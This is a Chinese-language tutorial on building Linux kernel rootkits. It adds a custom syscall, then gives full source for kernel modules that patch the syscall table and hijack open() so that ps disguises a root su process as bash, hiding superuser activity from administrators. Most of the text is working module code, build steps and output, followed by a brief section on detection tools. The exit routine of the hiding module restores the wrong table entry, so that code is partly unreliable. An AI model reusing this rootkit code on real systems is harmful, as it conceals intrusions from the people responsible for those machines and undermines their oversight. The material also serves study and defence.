Rootkit技术(一)从syscall到hook

什么是Rootkit

简单地说,rootkit是一种能够隐身的恶意程序,也就是说,当它进行恶意活动的时候,操作系统根本感觉不到它的存在。想象一下,一个程序能够潜入到当前操作系统中,并且能够主动在进程列表中隐藏病毒,或者替换日志文件输出,或者两者兼而有之——那它就能有效地清除自身存在的证据了。此外,它还可以从受保护的内存区域中操纵系统调用,或将接口上的数据包导出到另一个接口。本文将重点介绍如何通过hooking系统调用来进行这些活动。在本文的第一部分,我们将自定义一个系统调用,然后构造一个hook到这个系统调用上的rootkit。在最后一部分,我们将创建一个rootkit来隐藏我们选择的进程。

用户空间与内核空间

之所以要先自定义一个系统调用,就是为了理解内核空间与用户空间中到底发生了什么。在用户空间中运行的进程,对内存的访问将受到一定限制,而在内核空间运行的进程则可以访问所有内存空间。但是,用户空间的代码可以通过内核暴露的接口来访问内核空间,这里的所说的接口就是系统调用。
当以root身份运行进程的时候,不见得它们就会运行在内核空间。因为root用户进程仍然是一个用户空间的进程,只不过root用户的进程的UID = 0,内核验证过其身份后会赋予其超级用户权限罢了。但是,即使拥有超级用户权限,仍然需要通过系统调用接口才能请求内核的各种资源,这一点对进一步阅读下面的内容非常重要。

所需软硬件

Linux内核(我用的Ubuntu12.04,安装的内核版本为linux-3.10.103)
虚拟机(我用的VirtualBox)
我给CPU分配了两个CPU内核,4GB内存。

创建系统调用:pname

下载Linux内核并解压到/usr/src/目录下:

1
$ cd /usr/src/linux-3.10.103/

pname系统调用接收一个进程名,将该进程对应的PID返回到启动该系统调用的终端上面。

1
2
3
$ mkdir pname
$ cd pname
$ vim pname.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <linux/syscalls.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/init.h>
#include <linux/tty.h>
#include <linux/string.h>
#include "pname.h"

asmlinkage long sys_process_name(char *process_name)
{
/* tasklist struct to use */
struct task_struct *task;
/* tty struct */
struct tty_struct *my_tty;
/* get current tty*/
my_tty = get_current_tty();
/* placeholder to print full string to tty */
char name[32];
/* <sched.h> library method that iterates through list of processes from task_struct defined above */
for_each_process(task) {
/* compares the current process name (defined in task->comm) to the passed in name */
if (strcmp(task->comm, process_name) == 0) {
/* convert to string and put into name[] */
sprintf(name, "PID = %ld\n", (long)task_pid_nr(task));
/* show result to user that called the syscall */
(my_tty->driver->ops->write)(my_tty, name, strlen(name)+1);
}
}
return 0;
}

创建pname.h头文件:

1
asmlinkage long sys_process_name(char *process_name);

创建Makefile:

1
obj-y := pname.o

回到/usr/src/linux-3.10.103目录,将pname目录添加到内核的Makefile中:

1
2
$ cd ..
$ vim Makefile

找到core-y += kernel/ mm/ fs/ ipc/ security/ crypto/ block/所在的行,将pname/目录添加到此行的末尾:

1
core-y += kernel/ mm/ fs/ ipc/ security/ crypto/ block/ pname/

这样在编译内核时,编译器就会将新创建的系统调用一起编译了。
将pname和sys_process_name添加到系统调用表中。如果用的是64位系统,那么需要添加到syscall_64.tbl文件的300到500之间(将64位和32位系统调用隔离开)。我用的是32位系统,添加在了syscall_32.tbl文件的结尾。

1
$ vim arch/x86/syscalls/syscall_32.tbl

添加新的系统调用:

1
351 i386   pname     sys_process_name

将sys_process_name(char *process_name)添加到syscall头文件中。因为asmlinkage用于定义函数的哪些参数可以放在堆栈上,所以头文件的末尾必须添加函数的原型。

1
$ vim include/linux/syscalls.h

1
asmlinkage long sys_process_name(char *process_name);

编译安装新内核并重启系统,这个在前面的文章中有介绍,这里就不再赘述。
测试新的pname系统调用,在任意一个用户目录,如/home/fanrong/hook/:

1
$ vim testPname.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <string.h>

int main()
{
char name[32];
puts("Enter process to find");
scanf("%s", name);
strtok(name, "\n");
long int status = syscall(351, name);
printf("System call returned %ld\n", status);
return 0;
}

随便写一个能一直运行的小程序,如test.c:

1
2
3
4
5
6
7
#include <stdio.h>
int main()
{
int i;
scanf("%d", &i);
return 0;
}

编译并执行它:

1
2
3
4
5
6
7
$ gcc test.c -o test
$ ./test &
$ gcc testPname.c -o testPname
$ ./testPname
test
PID = 15756
System call returned 0

该系统调用通过遍历进程列表发现了test进程,并通过TTY将其输出到调用它的终端上,最后成功退出。

利用Rootkit “钩取” Pname

现在我们要以hook的形式来打造一个内核模块,而不是借助系统调用。
我们首先要做的事情就是找到系统调用表地址,因为一旦找到了这个地址,我们就能够对其进行相应的处理,进而hook系统调用了:

1
2
$ cat /boot/System.map-3.10.103 | grep sys_call_table
c16f71c0 R sys_call_table

有许多方法可以用来动态搜索sys_call_table,强烈建议使用这些方法而不是硬编码。然而,为了便于学习,这里就不那么讲究了。将来编写更高级的rootkit,让它也支持动态搜索能力。如果想了解这方面的知识并亲自尝试一下的话,建议阅读下面的文章: https://memset.wordpress.com/2011/01/20/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x/

在/home/fanrong/hook/captainHook/目录中创建captainHook.c代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <asm/unistd.h>
#include <asm/cacheflush.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <asm/pgtable_types.h>
#include <linux/highmem.h>
#include <linux/fs.h>
#include <linux/sched.h>
#include <linux/moduleparam.h>
#include <linux/unistd.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("BruceFan");
/* My sys_call_table address */
/* c16f71c0 R sys_call_table */
void **system_call_table_addr;
/* my custom syscall that takes process name */
asmlinkage int (*custom_syscall) (char *name);
/* hook */
asmlinkage int captain_hook(char *play_here)
{
/* do whatever here, but now we will just print to the dmesg log */
printk(KERN_INFO "Pname Syscall:HOOK! HOOK! HOOK! HOOK!...\n");
return custom_syscall(play_here);
}
/* Make page writeable */
int make_rw(unsigned long address)
{
unsigned int level;
pte_t *pte = lookup_address(address, &level); /* pte points to the beginning address of a page table */
if (pte->pte & ~_PAGE_RW) {
pte->pte |= _PAGE_RW;
}
return 0;
}
/* Make the page write protected */
int make_ro(unsigned long address)
{
unsigned int level;
pte_t *pte = lookup_address(address, &level);
pte->pte = pte->pte & ~_PAGE_RW;
return 0;
}

static int __init entry_point(void)
{
printk(KERN_INFO "Captain Hook loaded successfully..\n");
/* My sys_call_table address */
system_call_table_addr = (void *)0xc16f71c0;
/* Replace custom syscall with the correct system call name (write, open, etc) to hook */
custom_syscall = system_call_table_addr[__NR_pname];
/* Disable page protection */
make_rw((unsigned long)system_call_table_addr);
/* Change syscall to our syscall function */
system_call_table_addr[__NR_pname] = captain_hook;
return 0;
}

static int __exit exit_point(void)
{
printk(KERN_INFO "Unloaded Captain Hook Successfully\n");
/* Restore original system call */
system_call_table_addr[__NR_pname] = custom_syscall;
/* Renable page protection */
make_ro((unsigned long)system_call_table_addr);
return 0;
}

module_init(entry_point);
module_exit(exit_point);

注意到__NR_pname,它代表数字,即pname的系统调用的编码。因为前面已经将该系统调用添加到syscall_32.tbl中,赋予了它一个数字、一个名称和一个函数名。在这里,用的就是它的名称(pname)。它将拦截pname系统调用,每成功一次就打印一次dmesg。
还需要创建一个Makefile文件:

1
2
3
4
5
obj-m += captainHook.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

编译该模块:

1
$ make

现在打开另一个终端,输入如下命令实时查看dmesg:

1
$ sudo watch "dmesg | tail -20"

回到之前的终端上插入hook模块并测试:

1
2
3
4
5
6
7
8
$ sudo insmod captainHook.ko
$ cd ..
$ ./testPname
Enter process to find
test
PID = 15756
System call returned 0
$ sudo rmmod captainHook

再查看另一个终端:

1
2
3
4
...
Captain Hook loaded successfully..
Pname Syscall:HOOK! HOOK! HOOK! HOOK!...
Unloaded Captain Hook Successfully

成功地”钩取”了系统调用!

对系统管理命令”ps”隐身

现在要通过编程技术来实现对ps命令隐藏进程。首先,找到要隐藏进程的PID,并想清楚要让它伪装成哪个其他的进程。在本例中,将一个su进程伪装成bash进程,以便系统管理员看不到有人正在使用超级用户权限。

Linux中的一切皆文件。例如“/proc/cpuinfo”文件存放的是CPU信息,内核版本位于“/proc/version”文件中。而“/proc/uptime”和“/proc/stat”文件则分别用来存放系统正常运行时间和空闲时间。当运行ps命令时,它实际上是打开进程的文件,以使用open()系统调用查看相关信息。当进程首次启动时,会使用系统调用write()将其写入具有相应PID的文件中。针对ps命令运行strace就能查找它们,或者查看它使用了哪些系统调用。

在/home/fanrong/hook/phide/目录中创建phide.c代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include <asm/unistd.h>
#include <asm/cacheflush.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <asm/pgtable_types.h>
#include <linux/highmem.h>
#include <linux/fs.h>
#include <linux/sched.h>
#include <linux/moduleparam.h>
#include <linux/unistd.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("BruceFan");
/* My sys_call_table address */
/* c16f71c0 R sys_call_table */
void **system_call_table_addr;

asmlinkage int (*original_open)(const char *pathname, int flags);
asmlinkage int open_hijack(const char *pathname, int flags)
{
/* This hooks all OPEN sys calls and check to see what the path of the file being opened is.
* Currently, the paths must be hard coded for the process you wish to hide, and the process you would like it to impersonate. */
if (strstr(pathname, "/proc/5874/status") != NULL) {
printk(KERN_ALERT "PS PROCESS HIJACKED %s\n", pathname);
/* The new process location will be written into the syscall table for the open command,
* causing it to open a different file than the one originaly requested. */
memcpy(pathname, "/proc/5882/status", strlen(pathname)+1);
}
return (*original_open)(pathname, flags);
}
/* Make page writeable */
int make_rw(unsigned long address)
{
unsigned int level;
pte_t *pte = lookup_address(address, &level); /* pte points to the beginning address of a page table */
if (pte->pte & ~_PAGE_RW) {
pte->pte |= _PAGE_RW;
}
return 0;
}
/* Make the page write protected */
int make_ro(unsigned long address)
{
unsigned int level;
pte_t *pte = lookup_address(address, &level);
pte->pte = pte->pte & ~_PAGE_RW;
return 0;
}

static int __init start(void)
{
/* My sys_call_table address */
system_call_table_addr = (void *)0xc16f71c0;
/* return the system call to its original state */
original_open = system_call_table_addr[__NR_open];
/* Disable page protection */
make_rw((unsigned long)system_call_table_addr);
/* Change syscall to our syscall function */
system_call_table_addr[__NR_open] = open_hijack;
printk(KERN_INFO "Open psHook loaded successfully..\n");
return 0;
}

static int __exit end(void)
{
/* Restore original system call */
system_call_table_addr[__NR_pname] = original_open;
/* Renable page protection */
make_ro((unsigned long)system_call_table_addr);
printk(KERN_INFO "Unloaded Captain Hook Successfully\n");
return 0;
}

module_init(start);
module_exit(end);

复制前面使用的Makefile,同时将顶部的”captainHook.o”替换为“phide.o”,用make命令编译。
将phide模块插入内核前:

1
2
3
4
5
# ps
PID TTY TIME CMD
5874 pts/2 00:00:00 su
5882 pts/2 00:00:00 bash
17526 pts/2 00:00:00 ps

将phide模块插入内核后:

1
2
3
4
5
# ps
PID TTY TIME CMD
5882 pts/2 00:00:00 bash
5882 pts/2 00:00:00 bash
17526 pts/2 00:00:00 ps

实时查看dmesg的终端:

1
2
3
...
Open psHook loaded successfully..
PS PROCESS HIJACKED /proc/5874/status

成功实现了隐身!除此之外,还可以用这个方法隐藏多个进程。

防御方法

1.这里只是用另一个正在运行的进程来隐藏当前进程。所以在ps输出中会有重复的PID。很容易被发现,还有一些其他的方法可以完全隐藏它,在后面的rootkit文章中会进行介绍。
2.用lsmod可以查看内核上运行的模块:

1
2
3
$ lsmod
Module Size Used by
phide 900 0

3.想查看所有模块,可以使用:

1
$ cat /proc/modules

4.因为rootkits通常在内存中待命,所以最好使用一个可以主动寻找rootkit的程序,例如:

1
2
3
kbeast – https://volatility-labs.blogspot.ca/2012/09/movp-15-kbeast-rootkit-detecting-hidden.html
chkroot – http://www.chkrootkit.org/
kernel check – http://la-samhna.de/library/kern_check.c

reference
http://bobao.360.cn/learning/detail/3337.html
https://d0hnuts.com/2016/12/21/basics-of-making-a-rootkit-from-syscall-to-hook/